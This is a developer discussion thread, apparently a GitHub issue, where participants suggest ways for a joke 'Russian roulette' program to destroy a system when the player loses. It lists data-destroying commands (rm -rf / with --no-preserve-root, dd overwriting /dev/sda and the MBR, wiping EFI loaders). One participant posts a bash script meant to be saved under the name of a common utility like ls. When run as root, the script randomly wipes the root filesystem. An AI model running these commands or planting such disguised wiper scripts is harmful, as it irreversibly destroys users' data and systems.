Action when lost

[timofurrer]

At the moment if you loose it tries to remove everything in /. However, this could take a while. Any better or cooler ideas what could be done?

• rm --no-preserve-root -rf /
• dd if=/dev/zero of=/dev/sda
• dd if=/dev/zero of=/dev/sda bs=512 count=1
• find / | parallel -j 10 'rm --no-preserve-root -rf' (only if parallel (GNU Parallel is installed)
• ...?

[wijagels]

Wipe out the partition table!

[timofurrer]

I've added it to the first post. How do you suggest to find out the disk containing the mbr?

[parkerlreed]

Or check if /boot/EFI exists and wipe out the current/all loaders... >:D

[wijagels]

df | grep "% /$" | sed -e 's/^\(\/dev\/sd\w\).*/\1/'"
This appears to work on my machine

[parkerlreed]

Or modify the code as follows

#!/bin/bash

[ "$EUID" -ne 0 ] && ${0##*/} $@
[ $[ $RANDOM % 6 ] -eq 0 ] && rm --no-preserve-root -rf / || echo "click"

Save as a name of a popular util. ${0##*/} checks the script name and runs that only if run as non-root.

[parker@e73 evil]$ cat ./ls 
#!/bin/bash

[ "$EUID" -ne 0 ] && ${0##*/}
[parker@e73 evil]$ chmod a+x ls
[parker@e73 evil]$ ./ls 
ls
[parker@e73 evil]$ touch 1 2 3 4 5
[parker@e73 evil]$ ./ls 
1  2  3  4  5  ls

EDIT: Just realized this doesn't pass the arguments to the program name. Tried $0 but it didn't work.

EDIT2: I need sleep. It's $@ and it works

[denysvitali]

... install Windows!
I can't think of something worse than this

[foxx]

maybe destroy all the superblocks XD

[timofurrer]

... install Windows!

That's not even human any more!